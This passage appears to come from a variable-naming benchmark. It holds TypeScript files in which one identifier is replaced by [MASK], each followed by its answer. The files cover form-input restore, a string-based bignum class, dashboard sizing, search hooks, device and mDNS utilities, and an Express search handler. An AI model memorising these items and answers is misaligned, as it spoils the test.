 * WIP refactor by: PatrickJS
 */
export function __getInputValues() {
  const _inputs = document.querySelectorAll('input, textarea, select');
  const inputs = Array.prototype.slice.call(_inputs);

  return inputs.map(function(input: any) {
    const inputTagName = input.tagName.toLowerCase();
    const  [MASK]  = input.type;
    const inputId = (input.id && typeof input.id === 'string') ? input.id : null;
    const inputName = (input.name && typeof input.name === 'string') ? input.name : null;
    const inputValue = (input.value && typeof input.value === 'string') ? input.value : null;
    const inputChildNodes = input.childNodes;
    const inputSelected = Boolean(input.selected);

    type InputOption = {value: string, selected: boolean};
    type HmrStore = {
      tag: string;
      type: string;
      id: string;
      name: string;
      value: string;
      checked: boolean;
      options: Array<InputOption>;
    };

    let elementStore: HmrStore = {
      'tag': inputTagName,
      'type': null,
      'id': inputId,
      'name': inputName,
      'value': '',
      'checked': false,
      'options': []
    };

    if ('input' === inputTagName || 'textarea' === inputTagName) {
      elementStore['type'] =  [MASK] ;

      if ('input' !== inputTagName) {
        elementStore['value'] = inputValue;
        return elementStore;
      }
      switch ( [MASK] ) {
        case 'checkbox':
        case 'radio':
          elementStore['checked'] = inputSelected;
          elementStore['value'] = inputValue;
          return elementStore;
        case 'image':
        case 'button':
        case 'submit':
        case 'reset':
        default:
          // These types don't need any config and thus need no update, they only were stored because they match ""input""
          return elementStore;
      }
    } else if ('select' === inputTagName) {
      const childNodes = Array.prototype.slice.call(inputChildNodes);

      const options: Array<InputOption> = childNodes.map((option: any, i: number) => {
        return { value: option['value'], selected: Boolean(option['selected']) };
      });

      elementStore['options'] = options;
      return elementStore;
    }

    return elementStore;
  });
}

/**
 * set input values
 *
 * Extended by: <NAME> <<EMAIL>>
 * WIP refactor by: PatrickJS
 */
export function __setInputValues($inputs: any) {
  const inputs: any = document.querySelectorAll('input, textarea');

  $inputs.forEach((store: any, i: number) => {

    if ('input' === store.tag || 'textarea' === store.tag) {
      if ('input' === store.tag && ('checkbox' === store.type || 'radio' === store.type)) {
        let selector = 'input' + (
          null !== store.id ? '#' + store.id : ''
        ) + '[type=""' + store.type + '""]' + (null !== store.name ? '[name=""' + store.name + '""]' : '') +
                       '[value=""' + store.value + '""]';
        let element: any  = document.body.querySelector(selector);

        if (element && Boolean(store['checked'])) {
          element['checked'] = 'checked';

          element.dispatchEvent(new CustomEvent('input', {detail: element['checked']}));
        }
      } else if ('input' === store.tagName.toLowerCase() &&
        ('image' === store.type || 'button' === store.type || 'submit' === store.type || 'reset' === store.type)) {
          // These types don't need any config and thus need no update, they only were stored because they match ""input""
      } else {
        if (null === store.id && null === store.name) {
          if (store.value.length &&
            inputs[i] &&
            inputs[i].tagName.toLowerCase() === store.tag &&
            ('textarea' === store.tag || inputs[i].getAttribute('type') === store.type) &&
            ('string' !== typeof inputs[i].id || !inputs[i].id.length) &&
            ('string' !== typeof inputs[i].getAttribute('name') ||
            !inputs[i].getAttribute('name').length)) {

              inputs[i]['value'] = store.value;
              inputs[i].dispatchEvent(new CustomEvent('input', {detail: inputs[i]['value']}));
          }
        } else {
          let selector = 'input' +
            (null !== store.id ? '#' + store.id : '') + ('input' === store.tag ? '[type=""' + store.type + '""]' : '') +
            (null !== store.name ? '[name=""' + store.name + '""]' : '');
          let element: any  = document.body.querySelector(selector);

          if (element && store.value.length) {
            element['value'] = store.value;
            element.dispatchEvent(new CustomEvent('input', {detail: element['value']}));
          }
        }
      }
  } else if ('select' === store.tag) {
      let select: any = null;

      if (null === store.id && null === store.name) {
        if (inputs[i] && inputs[i].tagName.toLowerCase() === store.tag && ('string' !== typeof inputs[i].id || !inputs[i].id.length) &&
           ('string' !== typeof inputs[i].getAttribute('name') || !inputs[i].getAttribute('name').length)) {
            select = inputs[i];
        }
      } else {
        let selector = 'select' + (null !== store.id ? '#' + store.id : '') + (null !== store.name ? '[name=""' + store.name + '""]' : '');
        let element: any  = document.body.querySelector(selector);
        if (element) {
          select = element;
        }
      }

      if (select) {
        store.options.forEach((storedOption: any, j: number) => {
          let option: any = select.querySelector('option[value=""' + storedOption.value + '""]');

          if (
            !option &&
            select.childNodes[j] &&
            ('string' !== typeof select.childNodes[j]['value'] || !select.childNodes[j]['value'].length)
          ) {
            option = select.childNodes[j];
          }
          if (option && !!storedOption.selected) {
            option['selected'] = 'selected';

            option.dispatchEvent(new CustomEvent('input', {detail: option['selected']}));
          }
        });
      }
    }
  });
}

export function __createInputTransfer() {
  const $inputs = __getInputValues();
  return function restoreInputValues() {
    return __setInputValues($inputs);
  };
}
",inputType
477,"""use strict"";

type Comparison = -1 | 0 | 1;

class BadBignum {
    private static readonly assertions: boolean = true;
    public static readonly zero: BadBignum = new BadBignum('0');
    public static readonly one: BadBignum = new BadBignum('1');

    private readonly number: string;

    constructor(num: string) {
        if (num.length === 0) {
            throw new Error(""zero-length numbers are not allowed"");
        }
        if (!(/^[0-9]+$/).test(num)) {
            throw new Error(""numbers must consist only of the digits 0-9"");
        }

        // strip leading zeroes
        let firstNonzeroIndex: number = 0;
        while (firstNonzeroIndex < num.length && num[firstNonzeroIndex] === '0') {
            ++firstNonzeroIndex;
        }
        if (firstNonzeroIndex >= num.length) {
            // all zeroes
            num = '0';
        } else if (firstNonzeroIndex > 0) {
            // leading zeroes
            num = num.substr(firstNonzeroIndex);
        }

        this.number = num;
    }

    toString(): string {
        return this.number;
    }

    add(summand: BadBignum): BadBignum {
        let i1: number = this.number.length - 1;
        let i2: number = summand.number.length - 1;
        let sum: string = """";
        let carry: string = ""0"";

        while (i1 >= 0 && i2 >= 0) {
            let res: string = BadBignum.fullAdder(this.number[i1], summand.number[i2], carry);
            sum = res[0] + sum;
            carry = res[1];

            --i1;
            --i2;
        }

        while (i1 >= 0) {
            let res: string = BadBignum.fullAdder('0', this.number[i1], carry);
            sum = res[0] + sum;
            carry = res[1];

            --i1;
        }
        while (i2 >= 0) {
            let res: string = BadBignum.fullAdder('0', summand.number[i2], carry);
            sum = res[0] + sum;
            carry = res[1];

            --i2;
        }

        if (carry != '0') {
            sum = carry + sum;
        }

        return new BadBignum(sum);
    };

    sub(subtrahend: BadBignum): BadBignum | null {
        let im: number = this.number.length - 1
        let is: number = subtrahend.number.length - 1;
        let diff: string = """";
        let borrow: string = ""0"";

        while (im >= 0 && is >= 0) {
            let res: string = BadBignum.fullSubber(this.number[im], subtrahend.number[is], borrow);
            diff = res[0] + diff;
            borrow = res[1];

            --im;
            --is;
        }

        while (im >= 0) {
            let res: string = BadBignum.fullSubber(this.number[im], '0', borrow);
            diff = res[0] + diff;
            borrow = res[1];

            --im;
        }
        while (is >= 0) {
            let res: string = BadBignum.fullSubber('0', subtrahend.number[is], borrow);
            diff = res[0] + diff;
            borrow = res[1];

            --is;
        }

        if (borrow != '0') {
            return null;
        }

        return new BadBignum(diff);
    };

    cmp(other: BadBignum): Comparison {
        if (this.number.length < other.number.length) {
            return -1;
        } else if (this.number.length > other.number.length) {
            return 1;
        }

        for (let i = 0; i < this.number.length; ++i) {
            if (this.number[i] < other.number[i]) {
                return -1;
            } else if (this.number[i] > other.number[i]) {
                return 1;
            }
        }

        return 0;
    }

    mul(factor: BadBignum): BadBignum {
        if (this.number == '0' || factor.number == '0') {
            return BadBignum.zero;
        }

        let comparison: Comparison = this.cmp(factor);
        let biggerFactor: BadBignum = (comparison == -1) ? factor : this;
        let smallerFactor: BadBignum = (comparison == -1) ? this : factor;

        let product: BadBignum = BadBignum.zero;
        for (let i = 0; i < smallerFactor.number.length; ++i) {
            product = new BadBignum(product.number + '0');

            let smallerDigit: string = smallerFactor.number[i];
            let thisProduct: string = BadBignum.multiplyByDigit(biggerFactor.number, smallerDigit);
            product = product.add(new BadBignum(thisProduct));
        }

        return product;
    }

    divRem(divisor: BadBignum): [BadBignum, BadBignum] | null {
        if (divisor.number == '0') {
            return null;
        }
        if (this.number == '0') {
            return [BadBignum.zero, BadBignum.zero];
        }

        let comparison: Comparison = this.cmp(divisor);
        if (comparison == -1) {
            // dividend < divisor => quotient=0, remainder=dividend
            return [BadBignum.zero, this];
        } else if (comparison == 0) {
            // dividend == divisor => quotient=1, remainder=0
            return [BadBignum.one, BadBignum.zero];
        }

        // obtain the initial dividend (grab digits from the left until dividend > divisor)
        let currentDividend: BadBignum = new BadBignum(this.number[0]);
        let remainingDividendDigits: string = this.number.substr(1);
        while (currentDividend.cmp(divisor) == -1) {
            currentDividend = new BadBignum(currentDividend.number + remainingDividendDigits[0]);
            remainingDividendDigits = remainingDividendDigits.substr(1);
        }

        let quotientString: string = '';
        let ten: BadBignum = new BadBignum('10');
        for (;;) {
            // find the quotient digit by trial multiplication
            let quotientDigit: BadBignum;
            let trialProduct: BadBignum = BadBignum.zero;
            for (
                quotientDigit = BadBignum.zero;
                quotientDigit.cmp(ten) == -1;
                quotientDigit = quotientDigit.add(BadBignum.one)
            ) {
                let nextQuotientDigit: BadBignum = quotientDigit.add(BadBignum.one);

                let nextTrialProduct: BadBignum = divisor.mul(nextQuotientDigit);
                if (nextTrialProduct.cmp(currentDividend) == 1) {
                    // we've gone over
                    break;
                }

                trialProduct = nextTrialProduct;
            }

            BadBignum.assert(quotientDigit.cmp(ten) != 0, ""quotient digit has not gone over 9"");

            // append to the quotient!
            quotientString += quotientDigit;

            // the subtraction!
            let curDivDiff = currentDividend.sub(trialProduct);
            BadBignum.assert(curDivDiff != null, 'remainder calculation subtraction succeeded');
            currentDividend = <BadBignum>curDivDiff;

            if (remainingDividendDigits.length == 0) {
                // that's it
                // the current dividend is the remainder
                return [new BadBignum(quotientString), currentDividend];
            }

            // next digit from dividend
            currentDividend = new BadBignum(currentDividend.number + remainingDividendDigits[0]);
            remainingDividendDigits = remainingDividendDigits.substr(1);
        }
    }

    private static assert( [MASK] : boolean, msg?: string): void {
        if (BadBignum.assertions) {
            if (! [MASK] ) {
                if (msg) {
                    throw new Error(`assertion failed: ${msg}`);
                } else {
                    throw new Error('assertion failed');
                }
            }
        }
    }

    private static assertValidNumber(number: string): void {
        if (BadBignum.assertions) {
            this.assert(number.length == 1 || number[0] != '0', ""no leading zeroes"");
            this.assert(/^[0-9]+$/.test(number), ""only digits between 0 and 9"");
        }
    }

    protected static fullAdder(digit1: string, digit2: string, carryIn: string = '0'): string {
        BadBignum.assertValidNumber(digit1);
        BadBignum.assertValidNumber(digit2);
        BadBignum.assertValidNumber(carryIn);
        BadBignum.assert(digit1.length == 1, 'digit1 is a single digit');
        BadBignum.assert(digit2.length == 1, 'digit1 is a single digit');
        BadBignum.assert(carryIn.length == 1, 'carryIn is a single digit');

        if (digit1 > digit2) {
            return BadBignum.fullAdder(digit2, digit1, carryIn);
        }

        let halfResult: string = BadBignum.addTable[digit1][digit2];
        let [halfSum, halfCarryOut]: [string, string] = [halfResult[0], halfResult[1]];

        let fullResult: string = (halfSum > carryIn)
            ? BadBignum.addTable[carryIn][halfSum]
            : BadBignum.addTable[halfSum][carryIn]
        ;
        let [fullSum, fullCarryOut]: [string, string] = [fullResult[0], fullResult[1]];
        let finalCarryOut: string = (fullCarryOut > halfCarryOut)
            ? BadBignum.addTable[halfCarryOut][fullCarryOut]
            : BadBignum.addTable[fullCarryOut][halfCarryOut]
        ;
        BadBignum.assert(finalCarryOut[1] == '0', 'final carry value is single-digit');

        let returnValue: string = fullSum + finalCarryOut[0];
        BadBignum.assert(returnValue.length == 2, 'return value are two digits');

        return returnValue;
    };

    protected static fullSubber(minuend: string, subtrahend: string, borrowIn: string = '0'): string {
        BadBignum.assertValidNumber(minuend);
        BadBignum.assertValidNumber(subtrahend);
        BadBignum.assertValidNumber(borrowIn);
        BadBignum.assert(minuend.length == 1, 'minuend is a single digit');
        BadBignum.assert(subtrahend.length == 1, 'subtrahend is a single digit');
        BadBignum.assert(borrowIn.length == 1, 'borrowIn is a single digit');

        let halfResult: string = BadBignum.subTable[minuend][subtrahend];
        let [halfDiff, halfBorrowOut]: [string, string] = [halfResult[0], halfResult[1]];

        let fullResult: string = BadBignum.subTable[halfDiff][borrowIn];
        let [fullDiff, fullBorrowOut]: [string, string] = [fullResult[0], fullResult[1]];
        let finalBorrowOut: string = (fullBorrowOut > halfBorrowOut)
            ? BadBignum.addTable[halfBorrowOut][fullBorrowOut]
            : BadBignum.addTable[fullBorrowOut][halfBorrowOut]
        ;
        BadBignum.assert(finalBorrowOut[1] == '0', 'final borrow value is single-digit');

        let returnValue: string = fullDiff + finalBorrowOut[0];
        BadBignum.assert(returnValue.length == 2, 'return value are two digits');

        return returnValue;
    }

    protected static multiplyDigit(factor1: string, factor2: string): string {
        BadBignum.assertValidNumber(factor1);
        BadBignum.assertValidNumber(factor2);
        BadBignum.assert(factor1.length == 1, 'factor1 is a single digit');
        BadBignum.assert(factor2.length == 1, 'factor2 is a single digit');

        return (factor1 > factor2)
            ? BadBignum.mulTable[factor2][factor1]
            : BadBignum.mulTable[factor1][factor2]
        ;
    }

    protected static multiplyByDigit(factorNumber: string, factorDigit: string): string {
        BadBignum.assertValidNumber(factorNumber);
        BadBignum.assertValidNumber(factorDigit);
        BadBignum.assert(factorDigit.length == 1, 'factorDigit is a single digit');

        let carry: string = '0';
        let product: string = '';
        for (let i = factorNumber.length - 1; i >= 0; --i) {
            let productResult: string = BadBignum.multiplyDigit(factorNumber[i], factorDigit);
            let [productDigitOnly, productCarry]: [string, string] = [productResult[0], productResult[1]];

            let productDigitAndCarry: string = BadBignum.fullAdder(productDigitOnly, carry);
            let [productDigit, sumCarry]: [string, string] = [productDigitAndCarry[0], productDigitAndCarry[1]];

            let outCarry: string = BadBignum.fullAdder(productCarry, sumCarry);
            BadBignum.assert(outCarry[1] == '0', 'out carry is single-digit');

            product = productDigit + product;
            carry = outCarry[0];
        }

        if (carry != '0') {
            product = carry + product;
        }

        return product;
    }

    protected naiveMul(factor: BadBignum): BadBignum {
        if (this.number == '0' || factor.number == '0') {
            return new BadBignum('0');
        }

        // lol
        let comparison: Comparison = this.cmp(factor);
        let biggerFactor: BadBignum = (comparison == -1) ? factor : this;
        let smallerFactor: BadBignum = (comparison == -1) ? this : factor;
        let product: BadBignum = BadBignum.zero;
        while (smallerFactor.cmp(BadBignum.zero) == 1) {
            product = product.add(biggerFactor);
            smallerFactor = <BadBignum>smallerFactor.sub(BadBignum.one);
        }

        return product;
    }

    private static readonly addTable = {
        '0': {
            '0': '00',
            '1': '10',
            '2': '20',
            '3': '30',
            '4': '40',
            '5': '50',
            '6': '60',
            '7': '70',
            '8': '80',
            '9': '90',
        },
        '1': {
            '1': '20',
            '2': '30',
            '3': '40',
            '4': '50',
            '5': '60',
            '6': '70',
            '7': '80',
            '8': '90',
            '9': '01',
        },
        '2': {
            '2': '40',
            '3': '50',
            '4': '60',
            '5': '70',
            '6': '80',
            '7': '90',
            '8': '01',
            '9': '11',
        },
        '3': {
            '3': '60',
            '4': '70',
            '5': '80',
            '6': '90',
            '7': '01',
            '8': '11',
            '9': '21',
        },
        '4': {
            '4': '80',
            '5': '90',
            '6': '01',
            '7': '11',
            '8': '21',
            '9': '31',
        },
        '5': {
            '5': '01',
            '6': '11',
            '7': '21',
            '8': '31',
            '9': '41',
        },
        '6': {
            '6': '21',
            '7': '31',
            '8': '41',
            '9': '51',
        },
        '7': {
            '7': '41',
            '8': '51',
            '9': '61',
        },
        '8': {
            '8': '61',
            '9': '71',
        },
        '9': {
            '9': '81',
        },
    };

    private static readonly subTable = {
        '0': {
            '0': '00',
            '1': '91',
            '2': '81',
            '3': '71',
            '4': '61',
            '5': '51',
            '6': '41',
            '7': '31',
            '8': '21',
            '9': '11',
        },
        '1': {
            '0': '10',
            '1': '00',
            '2': '91',
            '3': '81',
            '4': '71',
            '5': '61',
            '6': '51',
            '7': '41',
            '8': '31',
            '9': '21',
        },
        '2': {
            '0': '20',
            '1': '10',
            '2': '00',
            '3': '91',
            '4': '81',
            '5': '71',
            '6': '61',
            '7': '51',
            '8': '41',
            '9': '31',
        },
        '3': {
            '0': '30',
            '1': '20',
            '2': '10',
            '3': '00',
            '4': '91',
            '5': '81',
            '6': '71',
            '7': '61',
            '8': '51',
            '9': '41',
        },
        '4': {
            '0': '40',
            '1': '30',
            '2': '20',
            '3': '10',
            '4': '00',
            '5': '91',
            '6': '81',
            '7': '71',
            '8': '61',
            '9': '51',
        },
        '5': {
            '0': '50',
            '1': '40',
            '2': '30',
            '3': '20',
            '4': '10',
            '5': '00',
            '6': '91',
            '7': '81',
            '8': '71',
            '9': '61',
        },
        '6': {
            '0': '60',
            '1': '50',
            '2': '40',
            '3': '30',
            '4': '20',
            '5': '10',
            '6': '00',
            '7': '91',
            '8': '81',
            '9': '71',
        },
        '7': {
            '0': '70',
            '1': '60',
            '2': '50',
            '3': '40',
            '4': '30',
            '5': '20',
            '6': '10',
            '7': '00',
            '8': '91',
            '9': '81',
        },
        '8': {
            '0': '80',
            '1': '70',
            '2': '60',
            '3': '50',
            '4': '40',
            '5': '30',
            '6': '20',
            '7': '10',
            '8': '00',
            '9': '91',
        },
        '9': {
            '0': '90',
            '1': '80',
            '2': '70',
            '3': '60',
            '4': '50',
            '5': '40',
            '6': '30',
            '7': '20',
            '8': '10',
            '9': '00',
        },
    };

    private static readonly mulTable = {
        '0': {
            '0': '00',
            '1': '00',
            '2': '00',
            '3': '00',
            '4': '00',
            '5': '00',
            '6': '00',
            '7': '00',
            '8': '00',
            '9': '00',
        },
        '1': {
            '1': '10',
            '2': '20',
            '3': '30',
            '4': '40',
            '5': '50',
            '6': '60',
            '7': '70',
            '8': '80',
            '9': '90',
        },
        '2': {
            '2': '40',
            '3': '60',
            '4': '80',
            '5': '01',
            '6': '21',
            '7': '41',
            '8': '61',
            '9': '81',
        },
        '3': {
            '3': '90',
            '4': '21',
            '5': '51',
            '6': '81',
            '7': '12',
            '8': '42',
            '9': '72',
        },
        '4': {
            '4': '61',
            '5': '02',
            '6': '42',
            '7': '82',
            '8': '23',
            '9': '63',
        },
        '5': {
            '5': '52',
            '6': '03',
            '7': '53',
            '8': '04',
            '9': '54',
        },
        '6': {
            '6': '63',
            '7': '24',
            '8': '84',
            '9': '45',
        },
        '7': {
            '7': '94',
            '8': '65',
            '9': '36',
        },
        '8': {
            '8': '46',
            '9': '27',
        },
        '9': {
            '9': '18',
        },
    };
};
",cond
478,"export enum WindowSizes {
  ""xs"",
  ""sm"",
  ""md"",
  ""lg"",
  ""xl"",
  ""2xl"",
}
export type WindowSizeEnumKeys = keyof typeof WindowSizes;

export function getGridColCount(windowSize: WindowSizeEnumKeys) {
  return {
    xs: 2,
    sm: 2,
    md: 2,
    lg: 3,
    xl: 4,
    ""2xl"": 5,
  }[windowSize];
}

export const MAX_COL_SIZE = 3;
export const MIN_COL_SIZE = 1;
export const MAX_ROW_SIZE = 2;
export const MIN_ROW_SIZE = 1;

export type TDashboardItemSizes = ""small"" | ""medium"" | ""large"";

export const DashboardItemSizes: {
  [key in TDashboardItemSizes]:
    | { all: string }
    | {
        [key in WindowSizeEnumKeys]?: string;
      };
} = {
  small: {
    all: ""1x1"",
  },
  medium: {
    all: ""2x1"",
  },
  large: {
    xs: ""2x2"",
    sm: ""2x2"",
    md: ""2x2"",
    lg: ""3x2"",
    xl: ""3x2"",
    ""2xl"": ""3x2"",
  },
};

export const scaleToItemSizes: { [key: string]: TDashboardItemSizes } = {
  ""3x2"": ""large"",
  ""2x2"": ""large"",
  ""2x1"": ""medium"",
  ""1x1"": ""small"",
};

export const getMetricScale = (
   [MASK] : TDashboardItemSizes,
  windowSize: WindowSizeEnumKeys
): [number, number] => {
  const scale =
    DashboardItemSizes[ [MASK] ][""all""] ||
    DashboardItemSizes[ [MASK] ][windowSize];
  return scale.split(""x"").map(Number);
};
",metricSize
479,"import { useFetchMindMap, useFetchRelatedQuestions } from '@/hooks/chat-hooks';
import { useTestChunkRetrieval } from '@/hooks/knowledge-hooks';
import {
  useGetPaginationWithRouter,
  useSendMessageWithSse,
} from '@/hooks/logic-hooks';
import { IAnswer } from '@/interfaces/database/chat';
import api from '@/utils/api';
import { get, isEmpty, trim } from 'lodash';
import { ChangeEventHandler, useCallback, useEffect, useState } from 'react';

export const useSendQuestion = (kbIds: string[]) => {
  const { send, answer, done } = useSendMessageWithSse(api.ask);
  const { testChunk, loading } = useTestChunkRetrieval();
  const [sendingLoading, setSendingLoading] = useState(false);
  const [currentAnswer, setCurrentAnswer] = useState({} as IAnswer);
  const { fetchRelatedQuestions, data: relatedQuestions } =
    useFetchRelatedQuestions();
  const {
    fetchMindMap,
    data: mindMap,
    loading: mindMapLoading,
  } = useFetchMindMap();
  const [searchStr, setSearchStr] = useState<string>('');
  const [isFirstRender, setIsFirstRender] = useState(true);
  const [selectedDocumentIds, setSelectedDocumentIds] = useState<string[]>([]);

  const { pagination } = useGetPaginationWithRouter();

  const sendQuestion = useCallback(
    (question: string) => {
      const q = trim(question);
      if (isEmpty(q)) return;
      setIsFirstRender(false);
      setCurrentAnswer({} as IAnswer);
      setSendingLoading(true);
      send({ kb_ids: kbIds, question: q });
      testChunk({ kb_id: kbIds, highlight: true, question: q });
      fetchMindMap({
        question: q,
        kb_ids: kbIds,
      });
      fetchRelatedQuestions(q);
    },
    [send, testChunk, kbIds, fetchRelatedQuestions, fetchMindMap],
  );

  const handleSearchStrChange: ChangeEventHandler<HTMLInputElement> =
    useCallback((e) => {
      setSearchStr(e.target.value);
    }, []);

  const handleClickRelatedQuestion = useCallback(
    (question: string) => () => {
      if (sendingLoading) return;

      setSearchStr(question);
      sendQuestion(question);
    },
    [sendQuestion, sendingLoading],
  );

  const handleTestChunk = useCallback(
    ( [MASK] : string[], page: number = 1, size: number = 10) => {
      const q = trim(searchStr);
      if (sendingLoading || isEmpty(q)) return;

      testChunk({
        kb_id: kbIds,
        highlight: true,
        question: q,
        doc_ids:  [MASK]  ?? selectedDocumentIds,
        page,
        size,
      });
    },
    [sendingLoading, searchStr, kbIds, testChunk, selectedDocumentIds],
  );

  useEffect(() => {
    if (!isEmpty(answer)) {
      setCurrentAnswer(answer);
    }
    return () => {
      setCurrentAnswer({} as IAnswer);
    };
  }, [answer]);

  useEffect(() => {
    if (done) {
      setSendingLoading(false);
    }
  }, [done]);

  return {
    sendQuestion,
    handleSearchStrChange,
    handleClickRelatedQuestion,
    handleTestChunk,
    setSelectedDocumentIds,
    loading,
    sendingLoading,
    answer: currentAnswer,
    relatedQuestions: relatedQuestions?.slice(0, 5) ?? [],
    mindMap,
    mindMapLoading,
    searchStr,
    isFirstRender,
    selectedDocumentIds,
  };
};

export const useFetchBackgroundImage = () => {
  const [imgUrl, setImgUrl] = useState<string>('');

  const fetchImage = useCallback(async () => {
    try {
      const res = await fetch(
        '/HPImageArchive.aspx?format=js&idx=0&n=1&mkt=zh-CN',
      );
      const ret = await res.json();
      const url = get(ret, 'images.0.url');
      if (url) {
        setImgUrl(url);
      }
    } catch (error) {
      console.log('🚀 ~ fetchImage ~ error:', error);
    }
  }, []);

  useEffect(() => {
    fetchImage();
  }, [fetchImage]);

  return `https://cn.bing.com${imgUrl}`;
};

export const useTestRetrieval = (
  kbIds: string[],
  searchStr: string,
  sendingLoading: boolean,
) => {
  const { testChunk, loading } = useTestChunkRetrieval();
  const { pagination } = useGetPaginationWithRouter();

  const [selectedDocumentIds, setSelectedDocumentIds] = useState<string[]>([]);

  const handleTestChunk = useCallback(() => {
    const q = trim(searchStr);
    if (sendingLoading || isEmpty(q)) return;

    testChunk({
      kb_id: kbIds,
      highlight: true,
      question: q,
      doc_ids: Array.isArray(selectedDocumentIds) ? selectedDocumentIds : [],
      page: pagination.current,
      size: pagination.pageSize,
    });
  }, [
    sendingLoading,
    searchStr,
    kbIds,
    testChunk,
    selectedDocumentIds,
    pagination,
  ]);

  useEffect(() => {
    handleTestChunk();
  }, [handleTestChunk]);

  return {
    loading,
    selectedDocumentIds,
    setSelectedDocumentIds,
  };
};
",documentIds
480,"import * as Bluebird from 'bluebird';
import { spawn } from 'child_process';
import config from '../config';
import * as sdk from 'etcher-sdk';
import { forEach, isEmpty, isObject } from 'lodash';
import * as mdns from 'multicast-dns';
import { networkInterfaces } from 'os';

function cleanObject(object: Dictionary<any>) {
	for (const key in object) {
		if (!object.hasOwnProperty(key)) {
			continue;
		}
		if (isObject(object[key])) {
			cleanObject(object[key]);
		}

		if (
			object[key] == null ||
			(isObject(object[key]) && isEmpty(object[key]))
		) {
			delete object[key];
		}
	}
	return object;
}

export async function getDrive(
	device: string,
): Promise<sdk.sourceDestination.BlockDevice> {
	// Do not include system drives in our search
	const adapter = new sdk.scanner.adapters.BlockDeviceAdapter({
		includeSystemDrives: () => false,
		unmountOnSuccess: false,
		write: true,
		direct: true,
	});
	const scanner = new sdk.scanner.Scanner([adapter]);

	await scanner.start();

	let drive;

	try {
		drive = scanner.getBy('device', device);
	} finally {
		scanner.stop();
	}
	if (!(drive instanceof sdk.sourceDestination.BlockDevice)) {
		throw new Error(`Cannot find ${device}`);
	}

	return drive;
}

export function exec(
	command: string,
	args: string[],
	cwd: string,
): Bluebird<void> {
	return new Bluebird((resolve, reject) => {
		const proc = spawn(command, args, {
			cwd,
			stdio: 'inherit',
		});

		proc.on('error', (error) => {
			reject(
				new Error(
					command +
						' ' +
						args.join(' ') +
						' in ' +
						cwd +
						' encountered error ' +
						error.message,
				),
			);
		});

		proc.on('exit', function (code) {
			if (code !== 0) {
				reject(
					new Error(
						command +
							' ' +
							args.join(' ') +
							' in ' +
							cwd +
							' exited with code ' +
							code,
					),
				);
			} else {
				resolve();
			}
		});
	});
}

export async function manageHandlers(
	handler: (signal: NodeJS.Signals) => Promise<void>,
	options: { register: boolean },
): Promise<void> {
	for (const signal of ['SIGINT', 'SIGTERM'] as NodeJS.Signals[]) {
		if (options.register) {
			process.on(signal, handler);
		} else {
			process.removeListener(signal, handler);
		}
	}
}

export function getIpFromIface(iface: string): string {
	const ifaces = networkInterfaces();

	for (const dev in ifaces) {
		if (dev === iface) {
			for (const details of ifaces[dev]) {
				if (details.family === 'IPv4') {
					return details.address;
				}
			}
		}
	}

	throw new Error(`Could not find connected interface ${iface}`);
}

const resolverCache: { [target: string]: string } = {};

export function resolveLocalTarget(target: string): PromiseLike<string> {
	if (target in resolverCache) {
		return Promise.resolve(resolverCache[target]);
	}

	return new Bluebird((resolve, reject) => {
		if (/\.local$/.test(target)) {
			const sockets: any[] = [];

			for (const interfaces of Object.values(networkInterfaces())) {
				for (const ni of interfaces) {
					if (ni.family === 'IPv4') {
						sockets.push(mdns({ interface: ni.address }));
					}
				}
			}

			if (sockets.length === 0) {
				throw new Error('Did not find any network interfaces on this device');
			}

			function destroy( [MASK] : any[]) {
				 [MASK] .forEach((sock) => {
					sock.destroy();
				});
			}

			const timeout = setTimeout(() => {
				destroy(sockets);
				reject(new Error(`Could not resolve ${target}`));
			}, 15000);

			sockets.forEach((socket) => {
				socket.on('error', () => {
					clearTimeout(timeout);
					destroy(sockets);
					reject();
				});
				socket.on('response', function (response: any) {
					const answer = response.answers.find(
						(x: any) => x.name === target && x.type === 'A',
					);

					if (answer != null) {
						clearTimeout(timeout);
						destroy(sockets);
						resolve(resolverCache[target] = answer.data);
					}
				});

				socket.query([{ type: 'A', name: target }]);
			});
		} else {
			resolve(target);
		}
	});
}

export async function getRuntimeConfiguration(): Promise<Leviathan.RuntimeConfiguration> {
	const runtimeConfiguration: any = config.worker.runtimeConfiguration;

	if (
		runtimeConfiguration.network == null ||
		(runtimeConfiguration.network.wired == null &&
			runtimeConfiguration.network.wireless == null)
	) {
		throw new Error('No network configuration provided');
	}

	forEach(runtimeConfiguration.network, (value) => {
		if (value != null && !(value in networkInterfaces())) {
			// TODO: Think if this should throw instead.
			console.error(`Network interface ${value} is not available`);
		}
	});

	return runtimeConfiguration as Leviathan.RuntimeConfiguration;
}
",socks
481,"


import {Request, Response} from 'express';
import {USERS} from ""./db-data"";
import {setTimeout} from ""timers"";



export function searchUsers(req: Request, res: Response) {

    const  [MASK]  = req.query;

    const filter =  [MASK] .filter || '',
          sortOrder =  [MASK] .sortOrder,
          pageNumber = parseInt( [MASK] .pageNumber) || 0,
          pageSize = parseInt( [MASK] .pageSize);

    let users = Object.values(USERS).sort((l1, l2) => l1.id - l2.id);

    if (filter) {

        users = users.filter(
           user =>
               filter === undefined ||
               filter === null ||
               filter == """" ||
               user.login.includes(filter) ||
               user.name.includes(filter) ||
               user.surname.includes(filter)
       );
    }

    if (sortOrder == ""desc"") {
        users = users.reverse();
    }

    const initialPos = pageNumber * pageSize;

    const usersPage = users.slice(initialPos, initialPos + pageSize);

    setTimeout(() => {
        res.status(200).json({payload: usersPage, usersCount: users.length});
    },1000);


}
",queryParams
482,"/*
 * Copyright 2015-present Acrolinx GmbH
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

import { Check, DocumentSelection, Match, MatchWithReplacement } from '@acrolinx/sidebar-interface';
import { lookupMatches } from '../lookup/diff-based';
import { getAutobindWrapperAttributes } from '../utils/adapter-utils';
import { AlignedMatch } from '../utils/alignment';
import { isChrome } from '../utils/detect-browser';
import { getCompleteFlagLength } from '../utils/match';
import { scrollIntoView, scrollIntoViewCenteredWithFallback } from '../utils/scrolling';
import { extractTextDomMapping, getEndDomPos, TextDomMapping } from '../utils/text-dom-mapping';
import { assertElementIsDisplayed, simulateInputEvent, removeNode } from '../utils/utils';
import {
  AdapterConf,
  AdapterInterface,
  AutobindWrapperAttributes,
  ContentExtractionResult,
  ExtractContentForCheckOpts,
